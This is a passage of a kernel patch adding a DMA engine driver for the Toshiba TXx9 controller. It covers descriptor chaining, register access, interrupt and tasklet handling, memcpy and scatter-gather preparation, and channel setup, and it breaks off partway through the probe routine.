+txx9dmac_assign_cookie(struct txx9dmac_chan *dc, struct txx9dmac_desc *desc) +{ + dma_cookie_t cookie = dc->chan.cookie; + + if (++cookie < 0) + cookie = 1; + + dc->chan.cookie = cookie; + desc->txd.cookie = cookie; + + return cookie; +} + +/*----------------------------------------------------------------------*/ + +static void txx9dmac_dump_regs(struct txx9dmac_chan *dc) +{ + if (is_dmac64(dc)) + dev_err(chan2dev(&dc->chan), + " CHAR: %#llx SAR: %#llx DAR: %#llx CNTR: %#x" + " SAIR: %#x DAIR: %#x CCR: %#x CSR: %#x\n", + (u64)channel64_read_CHAR(dc), + channel64_readq(dc, SAR), + channel64_readq(dc, DAR), + channel64_readl(dc, CNTR), + channel64_readl(dc, SAIR), + channel64_readl(dc, DAIR), + channel64_readl(dc, CCR), + channel64_readl(dc, CSR)); + else + dev_err(chan2dev(&dc->chan), + " CHAR: %#x SAR: %#x DAR: %#x CNTR: %#x" + " SAIR: %#x DAIR: %#x CCR: %#x CSR: %#x\n", + channel32_readl(dc, CHAR), + channel32_readl(dc, SAR), + channel32_readl(dc, DAR), + channel32_readl(dc, CNTR), + channel32_readl(dc, SAIR), + channel32_readl(dc, DAIR), + channel32_readl(dc, CCR), + channel32_readl(dc, CSR)); +} + +static void txx9dmac_reset_chan(struct txx9dmac_chan *dc) +{ + channel_writel(dc, CCR, TXX9_DMA_CCR_CHRST); + if (is_dmac64(dc)) { + channel_writeq(dc, CHAR, 0); + channel_writeq(dc, SAR, 0); + channel_writeq(dc, DAR, 0); + } else { + channel_writel(dc, CHAR, 0); + channel_writel(dc, SAR, 0); + channel_writel(dc, DAR, 0); + } + channel_writel(dc, CNTR, 0); + channel_writel(dc, SAIR, 0); + channel_writel(dc, DAIR, 0); + channel_writel(dc, CCR, 0); + mmiowb(); +} + +/* Called with dc->lock held and bh disabled */ +static void txx9dmac_dostart(struct txx9dmac_chan *dc, + struct txx9dmac_desc *first) +{ + struct txx9dmac_slave *ds = dc->chan.private; + + dev_vdbg(chan2dev(&dc->chan), "dostart %u %p\n", first->txd.cookie, first); + /* ASSERT: channel is idle */ + if (channel_readl(dc, CSR) & TXX9_DMA_CSR_XFACT) { + dev_err(chan2dev(&dc->chan), + "BUG: Attempted to start non-idle channel\n"); + txx9dmac_dump_regs(dc); + /* The tasklet will hopefully advance the queue... */ + return; + } + + if (is_dmac64(dc)) { + channel64_writel(dc, CNTR, 0); + channel64_writel(dc, CSR, 0xffffffff); +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + if (ds) { + if (ds->tx_reg) { + channel64_writel(dc, SAIR, ds->reg_width); + channel64_writel(dc, DAIR, 0); + } else { + channel64_writel(dc, SAIR, 0); + channel64_writel(dc, DAIR, ds->reg_width); + } + } else { + channel64_writel(dc, SAIR, 8); + channel64_writel(dc, DAIR, 8); + } +#else + channel64_writel(dc, SAIR, first->hwdesc.SAIR); + channel64_writel(dc, DAIR, first->hwdesc.DAIR); +#endif + /* All 64-bit DMAC supports SMPCHN */ + channel64_writel(dc, CCR, dc->ccr); + /* Writing a non zero value to CHAR will assert XFACT */ + channel64_write_CHAR(dc, first->txd.phys); + } else { + channel32_writel(dc, CNTR, 0); + channel32_writel(dc, CSR, 0xffffffff); +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + if (ds) { + if (ds->tx_reg) { + channel32_writel(dc, SAIR, ds->reg_width); + channel32_writel(dc, DAIR, 0); + } else { + channel32_writel(dc, SAIR, 0); + channel32_writel(dc, DAIR, ds->reg_width); + } + } else { + channel32_writel(dc, SAIR, 4); + channel32_writel(dc, DAIR, 4); + } +#else + channel32_writel(dc, SAIR, first->hwdesc32.SAIR); + channel32_writel(dc, DAIR, first->hwdesc32.DAIR); +#endif +#ifdef TXX9_DMA_HAVE_SMPCHN + channel32_writel(dc, CCR, dc->ccr); + /* Writing a non zero value to CHAR will assert XFACT */ + channel32_writel(dc, CHAR, first->txd.phys); +#else + channel32_writel(dc, CHAR, first->txd.phys); + channel32_writel(dc, CCR, dc->ccr); +#endif + } +} + +/*----------------------------------------------------------------------*/ + +static void +txx9dmac_descriptor_complete(struct txx9dmac_chan *dc, + struct txx9dmac_desc *desc) +{ + dma_async_tx_callback callback; + void *param; + struct dma_async_tx_descriptor *txd = &desc->txd; + struct txx9dmac_slave *ds = dc->chan.private; + + dev_vdbg(chan2dev(&dc->chan), "descriptor %u %p complete\n", + txd->cookie, desc); + + dc->completed = txd->cookie; + callback = txd->callback; + param = txd->callback_param; + + txx9dmac_sync_desc_for_cpu(dc, desc); + list_splice_init(&txd->tx_list, &dc->free_list); + list_move(&desc->desc_node, &dc->free_list); + + /* + * We use dma_unmap_page() regardless of how the buffers were + * mapped before they were submitted... + */ + if (!ds) { + dma_addr_t dmaaddr; + if (!(txd->flags & DMA_COMPL_SKIP_DEST_UNMAP)) { + dmaaddr = is_dmac64(dc) ? + desc->hwdesc.DAR : desc->hwdesc32.DAR; + dma_unmap_page(chan2parent(&dc->chan), dmaaddr, + desc->len, DMA_FROM_DEVICE); + } + if (!(txd->flags & DMA_COMPL_SKIP_SRC_UNMAP)) { + dmaaddr = is_dmac64(dc) ? + desc->hwdesc.SAR : desc->hwdesc32.SAR; + dma_unmap_page(chan2parent(&dc->chan), dmaaddr, + desc->len, DMA_TO_DEVICE); + } + } + + /* + * The API requires that no submissions are done from a + * callback, so we don't need to drop the lock here + */ + if (callback) + callback(param); +} + +static void txx9dmac_dequeue(struct txx9dmac_chan *dc, struct list_head *list) +{ + struct txx9dmac_dev *ddev = to_txx9dmac_dev(dc->chan.device); + struct txx9dmac_desc *desc; + struct txx9dmac_desc *prev = NULL; + + BUG_ON(!list_empty(list)); + do { + desc = txx9dmac_first_queued(dc); + if (prev) { + desc_write_CHAR(dc, prev, desc->txd.phys); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + } + prev = txx9dmac_last_child(desc); + list_move_tail(&desc->desc_node, list); +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + /* Make chain-completion interrupt happen */ + if ((desc->txd.flags & DMA_PREP_INTERRUPT) && + !(dc->ccr & TXX9_DMA_CCR_INTENT)) + break; +#endif + } while (!list_empty(&dc->queue)); +} + +static void txx9dmac_complete_all(struct txx9dmac_chan *dc) +{ + struct txx9dmac_desc *desc, *_desc; + LIST_HEAD(list); + + /* + * Submit queued descriptors ASAP, i.e. before we go through + * the completed ones. + */ + list_splice_init(&dc->active_list, &list); + if (!list_empty(&dc->queue)) { + txx9dmac_dequeue(dc, &dc->active_list); + txx9dmac_dostart(dc, txx9dmac_first_active(dc)); + } + + list_for_each_entry_safe(desc, _desc, &list, desc_node) + txx9dmac_descriptor_complete(dc, desc); +} + +static void txx9dmac_dump_desc(struct txx9dmac_chan *dc, + struct txx9dmac_hwdesc *desc) +{ + if (is_dmac64(dc)) { +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + dev_crit(chan2dev(&dc->chan), + " desc: ch%#llx s%#llx d%#llx c%#x\n", + (u64)desc->CHAR, desc->SAR, desc->DAR, desc->CNTR); +#else + dev_crit(chan2dev(&dc->chan), + " desc: ch%#llx s%#llx d%#llx c%#x" + " si%#x di%#x cc%#x cs%#x\n", + (u64)desc->CHAR, desc->SAR, desc->DAR, desc->CNTR, + desc->SAIR, desc->DAIR, desc->CCR, desc->CSR); +#endif + } else { + struct txx9dmac_hwdesc32 *d = (struct txx9dmac_hwdesc32 *)desc; +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + dev_crit(chan2dev(&dc->chan), + " desc: ch%#x s%#x d%#x c%#x\n", + d->CHAR, d->SAR, d->DAR, d->CNTR); +#else + dev_crit(chan2dev(&dc->chan), + " desc: ch%#x s%#x d%#x c%#x" + " si%#x di%#x cc%#x cs%#x\n", + d->CHAR, d->SAR, d->DAR, d->CNTR, + d->SAIR, d->DAIR, d->CCR, d->CSR); +#endif + } +} + +static void txx9dmac_handle_error(struct txx9dmac_chan *dc, u32 csr) +{ + struct txx9dmac_desc *bad_desc; + struct txx9dmac_desc *child; + u32 errors; + + /* + * The descriptor currently at the head of the active list is + * borked. Since we don't have any way to report errors, we'll + * just have to scream loudly and try to carry on. + */ + dev_crit(chan2dev(&dc->chan), "Abnormal Chain Completion\n"); + txx9dmac_dump_regs(dc); + + bad_desc = txx9dmac_first_active(dc); + list_del_init(&bad_desc->desc_node); + + /* Clear all error flags and try to restart the controller */ + errors = csr & (TXX9_DMA_CSR_ABCHC | + TXX9_DMA_CSR_CFERR | TXX9_DMA_CSR_CHERR | + TXX9_DMA_CSR_DESERR | TXX9_DMA_CSR_SORERR); + channel_writel(dc, CSR, errors); + + if (list_empty(&dc->active_list) && !list_empty(&dc->queue)) + txx9dmac_dequeue(dc, &dc->active_list); + if (!list_empty(&dc->active_list)) + txx9dmac_dostart(dc, txx9dmac_first_active(dc)); + + dev_crit(chan2dev(&dc->chan), + "Bad descriptor submitted for DMA! (cookie: %d)\n", + bad_desc->txd.cookie); + txx9dmac_dump_desc(dc, &bad_desc->hwdesc); + list_for_each_entry(child, &bad_desc->txd.tx_list, desc_node) + txx9dmac_dump_desc(dc, &child->hwdesc); + /* Pretend the descriptor completed successfully */ + txx9dmac_descriptor_complete(dc, bad_desc); +} + +static void txx9dmac_scan_descriptors(struct txx9dmac_chan *dc) +{ + dma_addr_t chain; + struct txx9dmac_desc *desc, *_desc; + struct txx9dmac_desc *child; + u32 csr; + + if (is_dmac64(dc)) { + chain = channel64_read_CHAR(dc); + csr = channel64_readl(dc, CSR); + channel64_writel(dc, CSR, csr); + } else { + chain = channel32_readl(dc, CHAR); + csr = channel32_readl(dc, CSR); + channel32_writel(dc, CSR, csr); + } + /* For dynamic chain, we should look at XFACT instead of NCHNC */ + if (!(csr & (TXX9_DMA_CSR_XFACT | TXX9_DMA_CSR_ABCHC))) { + /* Everything we've submitted is done */ + txx9dmac_complete_all(dc); + return; + } + if (!(csr & TXX9_DMA_CSR_CHNEN)) + chain = 0; /* last descriptor of this chain */ + + dev_vdbg(chan2dev(&dc->chan), "scan_descriptors: char=%#llx\n", (u64)chain); + + list_for_each_entry_safe(desc, _desc, &dc->active_list, desc_node) { + if (desc_read_CHAR(dc, desc) == chain) { + /* This one is currently in progress */ + if (csr & TXX9_DMA_CSR_ABCHC) + goto scan_done; + return; + } + + list_for_each_entry(child, &desc->txd.tx_list, desc_node) + if (desc_read_CHAR(dc, child) == chain) { + /* Currently in progress */ + if (csr & TXX9_DMA_CSR_ABCHC) + goto scan_done; + return; + } + + /* + * No descriptors so far seem to be in progress, i.e. + * this one must be done. + */ + txx9dmac_descriptor_complete(dc, desc); + } +scan_done: + if (csr & TXX9_DMA_CSR_ABCHC) { + txx9dmac_handle_error(dc, csr); + return; + } + + dev_err(chan2dev(&dc->chan), + "BUG: All descriptors done, but channel not idle!\n"); + + /* Try to continue after resetting the channel... */ + txx9dmac_reset_chan(dc); + + if (!list_empty(&dc->queue)) { + txx9dmac_dequeue(dc, &dc->active_list); + txx9dmac_dostart(dc, txx9dmac_first_active(dc)); + } +} + +static void txx9dmac_tasklet(unsigned long data) +{ + int irq; + u32 csr; + struct txx9dmac_chan *dc; + +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + dc = (struct txx9dmac_chan *)data; + csr = channel_readl(dc, CSR); + dev_vdbg(chan2dev(&dc->chan), "tasklet: status=%x\n", csr); + + spin_lock(&dc->lock); + if (csr & (TXX9_DMA_CSR_ABCHC | TXX9_DMA_CSR_NCHNC | + TXX9_DMA_CSR_NTRNFC)) + txx9dmac_scan_descriptors(dc); + spin_unlock(&dc->lock); + irq = dc->irq; +#else + struct txx9dmac_dev *ddev = (struct txx9dmac_dev *)data; + u32 mcr; + int i; + + mcr = dma_readl(ddev, MCR); + dev_vdbg(ddev->dma.dev, "tasklet: mcr=%x\n", mcr); + for (i = 0; i < TXX9_DMA_MAX_NR_CHANNELS; i++) { + if ((mcr >> (24 + i)) & 0x11) { + dc = &ddev->chan[i]; + csr = channel_readl(dc, CSR); + dev_vdbg(chan2dev(&dc->chan), "tasklet: status=%x\n", csr); + spin_lock(&dc->lock); + if (csr & (TXX9_DMA_CSR_ABCHC | TXX9_DMA_CSR_NCHNC | + TXX9_DMA_CSR_NTRNFC)) + txx9dmac_scan_descriptors(dc); + spin_unlock(&dc->lock); + } + } + irq = ddev->irq; +#endif + + enable_irq(irq); +} + +static irqreturn_t txx9dmac_interrupt(int irq, void *dev_id) +{ +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + struct txx9dmac_chan *dc = dev_id; + + dev_vdbg(chan2dev(&dc->chan), "interrupt: status=%#x\n", + channel_readl(dc, CSR)); + + tasklet_schedule(&dc->tasklet); +#else + struct txx9dmac_dev *ddev = dev_id; + + dev_vdbg(ddev->dma.dev, "interrupt: status=%#x\n", + dma_readl(ddev, MCR)); + + tasklet_schedule(&ddev->tasklet); +#endif + /* + * Just disable the interrupts. We'll turn them back on in the + * softirq handler. + */ + disable_irq_nosync(irq); + + return IRQ_HANDLED; +} + +/*----------------------------------------------------------------------*/ + +static dma_cookie_t txx9dmac_tx_submit(struct dma_async_tx_descriptor *tx) +{ + struct txx9dmac_desc *desc = txd_to_txx9dmac_desc(tx); + struct txx9dmac_chan *dc = to_txx9dmac_chan(tx->chan); + dma_cookie_t cookie; + + spin_lock_bh(&dc->lock); + cookie = txx9dmac_assign_cookie(dc, desc); + + dev_vdbg(chan2dev(tx->chan), "tx_submit: queued %u %p\n", + desc->txd.cookie, desc); + + list_add_tail(&desc->desc_node, &dc->queue); + spin_unlock_bh(&dc->lock); + + return cookie; +} + +static struct dma_async_tx_descriptor * +txx9dmac_prep_dma_memcpy(struct dma_chan *chan, dma_addr_t dest, dma_addr_t src, + size_t len, unsigned long flags) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + struct txx9dmac_dev *ddev = to_txx9dmac_dev(chan->device); + struct txx9dmac_desc *desc; + struct txx9dmac_desc *first; + struct txx9dmac_desc *prev; + size_t xfer_count; + size_t offset; + + dev_vdbg(chan2dev(chan), "prep_dma_memcpy d%#llx s%#llx l%#zx f%#lx\n", + (u64)dest, (u64)src, len, flags); + + if (unlikely(!len)) { + dev_dbg(chan2dev(chan), "prep_dma_memcpy: length is zero!\n"); + return NULL; + } + + prev = first = NULL; + + for (offset = 0; offset < len; offset += xfer_count) { + xfer_count = min_t(size_t, len - offset, TXX9_DMA_MAX_COUNT); + /* + * Workaround for ERT-TX49H2-033, ERT-TX49H3-020, + * ERT-TX49H4-016 (slightly conservative) + */ + if (__is_dmac64(ddev)) { + if (xfer_count > 0x100 && + (xfer_count & 0xff) >= 0xfa && + (xfer_count & 0xff) <= 0xff) + xfer_count -= 0x20; + } else { + if (xfer_count > 0x80 && + (xfer_count & 0x7f) >= 0x7e && + (xfer_count & 0x7f) <= 0x7f) + xfer_count -= 0x20; + } + + desc = txx9dmac_desc_get(dc); + if (!desc) { + txx9dmac_desc_put(dc, first); + return NULL; + } + + if (__is_dmac64(ddev)) { + desc->hwdesc.SAR = src + offset; + desc->hwdesc.DAR = dest + offset; + desc->hwdesc.CNTR = xfer_count; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc.SAIR = 8; + desc->hwdesc.DAIR = 8; + desc->hwdesc.CCR = dc->ccr | TXX9_DMA_CCR_XFACT; +#endif + } else { + desc->hwdesc32.SAR = src + offset; + desc->hwdesc32.DAR = dest + offset; + desc->hwdesc32.CNTR = xfer_count; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc32.SAIR = 4; + desc->hwdesc32.DAIR = 4; + desc->hwdesc32.CCR = dc->ccr | TXX9_DMA_CCR_XFACT; +#endif + } + + if (!first) { + first = desc; + } else { + desc_write_CHAR(dc, prev, desc->txd.phys); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + list_add_tail(&desc->desc_node, + &first->txd.tx_list); + } + prev = desc; + } + +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + if (flags & DMA_PREP_INTERRUPT) { + /* Trigger interrupt after last block */ + if (__is_dmac64(ddev)) + prev->hwdesc.CCR |= TXX9_DMA_CCR_INTENT; + else + prev->hwdesc32.CCR |= TXX9_DMA_CCR_INTENT; + } +#endif + + desc_write_CHAR(dc, prev, 0); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + + first->txd.flags = flags; + first->len = len; + + return &first->txd; +} + +static struct dma_async_tx_descriptor * +txx9dmac_prep_slave_sg(struct dma_chan *chan, struct scatterlist *sgl, + unsigned int sg_len, enum dma_data_direction direction, + unsigned long flags) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + struct txx9dmac_dev *ddev = to_txx9dmac_dev(chan->device); + struct txx9dmac_slave *ds = chan->private; + struct txx9dmac_desc *prev; + struct txx9dmac_desc *first; + unsigned int i; + struct scatterlist *sg; + + dev_vdbg(chan2dev(chan), "prep_dma_slave\n"); + + BUG_ON(!ds || !ds->reg_width); + if (ds->tx_reg) + BUG_ON(direction != DMA_TO_DEVICE); + else + BUG_ON(direction != DMA_FROM_DEVICE); + if (unlikely(!sg_len)) + return NULL; + + prev = first = NULL; + + for_each_sg(sgl, sg, sg_len, i) { + struct txx9dmac_desc *desc; + dma_addr_t mem; + + desc = txx9dmac_desc_get(dc); + if (!desc) { + txx9dmac_desc_put(dc, first); + return NULL; + } + + mem = sg_dma_address(sg); + + if (__is_dmac64(ddev)) { + if (direction == DMA_TO_DEVICE) { + desc->hwdesc.SAR = mem; + desc->hwdesc.DAR = ds->tx_reg; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc.SAIR = ds->reg_width; + desc->hwdesc.DAIR = 0; +#endif + } else { + desc->hwdesc.SAR = ds->rx_reg; + desc->hwdesc.DAR = mem; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc.SAIR = 0; + desc->hwdesc.DAIR = ds->reg_width; +#endif + } + desc->hwdesc.CNTR = sg_dma_len(sg); +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc.CCR = dc->ccr | TXX9_DMA_CCR_XFACT; +#endif + } else { + if (direction == DMA_TO_DEVICE) { + desc->hwdesc32.SAR = mem; + desc->hwdesc32.DAR = ds->tx_reg; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc32.SAIR = ds->reg_width; + desc->hwdesc32.DAIR = 0; +#endif + } else { + desc->hwdesc32.SAR = ds->rx_reg; + desc->hwdesc32.DAR = mem; +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc32.SAIR = 0; + desc->hwdesc32.DAIR = ds->reg_width; +#endif + } + desc->hwdesc32.CNTR = sg_dma_len(sg); +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + desc->hwdesc32.CCR = dc->ccr | TXX9_DMA_CCR_XFACT; +#endif + } + + if (!first) { + first = desc; + } else { + desc_write_CHAR(dc, prev, desc->txd.phys); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, + ddev->descsize, + DMA_TO_DEVICE); + list_add_tail(&desc->desc_node, + &first->txd.tx_list); + } + prev = desc; + } + +#ifndef TXX9_DMA_USE_SIMPLE_CHAIN + if (flags & DMA_PREP_INTERRUPT) { + /* Trigger interrupt after last block */ + if (__is_dmac64(ddev)) + prev->hwdesc.CCR |= TXX9_DMA_CCR_INTENT; + else + prev->hwdesc32.CCR |= TXX9_DMA_CCR_INTENT; + } +#endif + + desc_write_CHAR(dc, prev, 0); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + + first->txd.flags = flags; + first->len = 0; + + return &first->txd; +} + +static void txx9dmac_terminate_all(struct dma_chan *chan) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + struct txx9dmac_desc *desc, *_desc; + LIST_HEAD(list); + + dev_vdbg(chan2dev(chan), "terminate_all\n"); + spin_lock_bh(&dc->lock); + + txx9dmac_reset_chan(dc); + + /* active_list entries will end up before queued entries */ + list_splice_init(&dc->queue, &list); + list_splice_init(&dc->active_list, &list); + + spin_unlock_bh(&dc->lock); + + /* Flush all pending and queued descriptors */ + list_for_each_entry_safe(desc, _desc, &list, desc_node) + txx9dmac_descriptor_complete(dc, desc); +} + +static enum dma_status +txx9dmac_is_tx_complete(struct dma_chan *chan, + dma_cookie_t cookie, + dma_cookie_t *done, dma_cookie_t *used) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + dma_cookie_t last_used; + dma_cookie_t last_complete; + int ret; + + last_complete = dc->completed; + last_used = chan->cookie; + + ret = dma_async_is_complete(cookie, last_complete, last_used); + if (ret != DMA_SUCCESS) { + spin_lock_bh(&dc->lock); + txx9dmac_scan_descriptors(dc); + spin_unlock_bh(&dc->lock); + + last_complete = dc->completed; + last_used = chan->cookie; + + ret = dma_async_is_complete(cookie, last_complete, last_used); + } + + if (done) + *done = last_complete; + if (used) + *used = last_used; + + return ret; +} + +#ifdef TXX9_DMA_HAVE_SMPCHN +static void txx9dmac_chain_dynamic(struct txx9dmac_chan *dc, + struct txx9dmac_desc *prev) +{ + struct txx9dmac_dev *ddev = to_txx9dmac_dev(dc->chan.device); + struct txx9dmac_desc *desc; + LIST_HEAD(list); + + prev = txx9dmac_last_child(prev); + txx9dmac_dequeue(dc, &list); + desc = list_entry(list.next, struct txx9dmac_desc, desc_node); + desc_write_CHAR(dc, prev, desc->txd.phys); + dma_sync_single_for_device(chan2parent(&dc->chan), + prev->txd.phys, ddev->descsize, + DMA_TO_DEVICE); + mmiowb(); + if (!(channel_readl(dc, CSR) & TXX9_DMA_CSR_CHNEN) && + channel_read_CHAR(dc) == prev->txd.phys) + /* Restart chain DMA */ + channel_write_CHAR(dc, desc->txd.phys); + list_splice_tail(&list, &dc->active_list); +} +#endif + +static void txx9dmac_issue_pending(struct dma_chan *chan) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + + spin_lock_bh(&dc->lock); + + if (!list_empty(&dc->active_list)) + txx9dmac_scan_descriptors(dc); + if (!list_empty(&dc->queue)) { + if (list_empty(&dc->active_list)) { + txx9dmac_dequeue(dc, &dc->active_list); + txx9dmac_dostart(dc, txx9dmac_first_active(dc)); + } +#ifdef TXX9_DMA_HAVE_SMPCHN + else { + struct txx9dmac_desc *prev = txx9dmac_last_active(dc); +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + if (!(prev->txd.flags & DMA_PREP_INTERRUPT) || + (dc->ccr & TXX9_DMA_CCR_INTENT)) + txx9dmac_chain_dynamic(dc, prev); +#else + txx9dmac_chain_dynamic(dc, prev); +#endif + } +#endif + } + + spin_unlock_bh(&dc->lock); +} + +static int txx9dmac_alloc_chan_resources(struct dma_chan *chan) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + struct txx9dmac_dev *ddev = to_txx9dmac_dev(chan->device); + struct txx9dmac_slave *ds = chan->private; + struct txx9dmac_desc *desc; + int i; + + dev_vdbg(chan2dev(chan), "alloc_chan_resources\n"); + + if (chan == &ddev->reserved_chan) { + /* reserved */ + return 0; + } + + /* ASSERT: channel is idle */ + if (channel_readl(dc, CSR) & TXX9_DMA_CSR_XFACT) { + dev_dbg(chan2dev(chan), "DMA channel not idle?\n"); + return -EIO; + } + + dc->completed = chan->cookie = 1; + + dc->ccr = TXX9_DMA_CCR_IMMCHN | TXX9_DMA_CCR_INTENE; +#ifdef TXX9_DMA_HAVE_SMPCHN +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + dc->ccr |= TXX9_DMA_CCR_SMPCHN | TXX9_DMA_CCR_INTENC; +#endif +#else + dc->ccr |= TXX9_DMA_CCR_INTENC; +#endif +#if defined(TXX9_DMA_HAVE_CCR_LE) && defined(__LITTLE_ENDIAN) + dc->ccr |= TXX9_DMA_CCR_LE; +#endif + if (chan->device->device_prep_dma_memcpy) { + if (ds) + return -EINVAL; + dc->ccr |= TXX9_DMA_CCR_XFSZ_X8; + } else { + if (!ds || + (ds->tx_reg && ds->rx_reg) || (!ds->tx_reg && !ds->rx_reg)) + return -EINVAL; + dc->ccr |= TXX9_DMA_CCR_EXTRQ | + TXX9_DMA_CCR_XFSZ(__ffs(ds->reg_width)); +#ifdef TXX9_DMA_USE_SIMPLE_CHAIN + dc->ccr |= TXX9_DMA_CCR_INTENT; +#endif + } + + spin_lock_bh(&dc->lock); + i = dc->descs_allocated; + while (dc->descs_allocated < TXX9_DMA_INITIAL_DESC_COUNT) { + spin_unlock_bh(&dc->lock); + + desc = txx9dmac_desc_alloc(dc, GFP_KERNEL); + if (!desc) { + dev_info(chan2dev(chan), + "only allocated %d descriptors\n", i); + spin_lock_bh(&dc->lock); + break; + } + txx9dmac_desc_put(dc, desc); + + spin_lock_bh(&dc->lock); + i = ++dc->descs_allocated; + } + spin_unlock_bh(&dc->lock); + + dev_dbg(chan2dev(chan), + "alloc_chan_resources allocated %d descriptors\n", i); + + return i; +} + +static void txx9dmac_free_chan_resources(struct dma_chan *chan) +{ + struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); + struct txx9dmac_dev *ddev = to_txx9dmac_dev(chan->device); + struct txx9dmac_desc *desc, *_desc; + LIST_HEAD(list); + + if (chan == &ddev->reserved_chan) { + dev_dbg(chan2dev(chan), "free_chan_resources (reserved)\n"); + return; + } + dev_dbg(chan2dev(chan), "free_chan_resources (descs allocated=%u)\n", + dc->descs_allocated); + + /* ASSERT: channel is idle */ + BUG_ON(!list_empty(&dc->active_list)); + BUG_ON(!list_empty(&dc->queue)); + BUG_ON(channel_readl(dc, CSR) & TXX9_DMA_CSR_XFACT); + + spin_lock_bh(&dc->lock); + list_splice_init(&dc->free_list, &list); + dc->descs_allocated = 0; + spin_unlock_bh(&dc->lock); + + list_for_each_entry_safe(desc, _desc, &list, desc_node) { + dev_vdbg(chan2dev(chan), " freeing descriptor %p\n", desc); + dma_unmap_single(chan2parent(chan), desc->txd.phys, + ddev->descsize, DMA_TO_DEVICE); + kfree(desc); + } + + dev_vdbg(chan2dev(chan), "free_chan_resources done\n"); +} + +/*----------------------------------------------------------------------*/ + +static void txx9dmac_off(struct txx9dmac_dev *ddev) +{ + dma_writel(ddev, MCR, 0); + mmiowb(); +} + +static bool reserved_filter(struct dma_chan *chan, void *param) +{ + return chan == param; +} + +static int __init txx9dmac_probe(struct platform_device *pdev) +{ + struct txx9dmac_platform_data *pdata = pdev->dev.platform_data; + struct resource *io; + struct txx9dmac_dev *ddev; + int irq; + int err; + int i; + u32 mcr; + int memcpy_chan = -1; + + if (pdata && pdata->memcpy_chan >= 0) { + if (pdata->memcpy_chan >= TXX9_DMA_MAX_NR_CHANNELS) + return -EINVAL; + memcpy_chan = pdata->memcpy_chan; + } + + io = platform_get_resource(pdev, IORESOURCE_MEM, 0); + if (!io) + return -EINVAL; + + irq = platform_get_irq(pdev, 0); + if (irq < 0) + return irq; + + ddev = devm_kzalloc(&pdev->dev, sizeof(*ddev), GFP_KERNEL); + if (!ddev) + return -ENOMEM; + + if (!devm_request_mem_region(&pdev->dev, io->start, resource_size(io), + dev_name(&pdev->dev))) + return -EBUSY; + + ddev->regs = devm_ioremap(&pdev->dev, io->start, resource_size(io)); + if (!ddev->regs) + return -ENOMEM; +#ifdef TXX9_DMA_MAY_HAVE_64BIT_REGS + ddev->have_64bit_regs = pdata->have_64bit_regs; +#endif + if (__is_dmac64(ddev)) + ddev->descsize = sizeof(struct txx9dmac_hwdesc); + else + ddev->descsize = sizeof(struct txx9dmac_hwdesc32); + + /* force dma off, just in case */ + txx9dmac_off(ddev); + +#ifndef TXX9_DMA_HAVE_IRQ_PER_CHAN + tasklet_init(&ddev->tasklet, txx9dmac_tasklet, (unsigned long)ddev); + ddev->irq = irq; + err = devm_request_irq(&pdev->dev, irq, txx9dmac_interrupt, 0, + dev_name(&pdev->dev), ddev); + if (err) + return err; +#endif + + platform_set_drvdata(pdev, ddev); + + ddev->dma.dev = &pdev->dev; + ddev->dma.device_alloc_chan_resources = txx9dmac_alloc_chan_resources; + ddev->dma.device_free_chan_resources = txx9dmac_free_chan_resources; + ddev->dma.device_terminate_all = txx9dmac_terminate_all; + ddev->dma.device_is_tx_complete = txx9dmac_is_tx_complete; + ddev->dma.device_issue_pending = txx9dmac_issue_pending; + memcpy(&ddev->dma_memcpy, &ddev->dma, sizeof(ddev->dma)); + ddev->dma_memcpy.device_prep_dma_memcpy = txx9dmac_prep_dma_memcpy; + ddev->dma.device_prep_slave_sg = txx9dmac_prep_slave_sg; + + INIT_LIST_HEAD(&ddev->dma.channels); + dma_cap_set(DMA_SLAVE, ddev->dma.cap_mask); + dma_cap_set(DMA_PRIVATE, ddev->dma.cap_mask); + INIT_LIST_HEAD(&ddev->dma_memcpy.channels); + dma_cap_set(DMA_MEMCPY, ddev->dma_memcpy.cap_mask); + for (i = 0; i < TXX9_DMA_MAX_NR_CHANNELS; i++) { + struct txx9dmac_chan *dc = &ddev->chan[i]; + +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + tasklet_init(&dc->tasklet, txx9dmac_tasklet, (unsigned long)dc); + dc->irq = irq + i; + err = devm_request_irq(&pdev->dev, dc->irq, txx9dmac_interrupt, + 0, dev_name(&pdev->dev), dc); + if (err) + return err; +#endif + + if (i == memcpy_chan) { + dc->chan.device = &ddev->dma_memcpy; + ddev->reserved_chan.device = &ddev->dma; + list_add_tail(&ddev->reserved_chan.device_node, + &ddev->reserved_chan.device->channels); + } else { + dc->chan.device = &ddev->dma; + } + 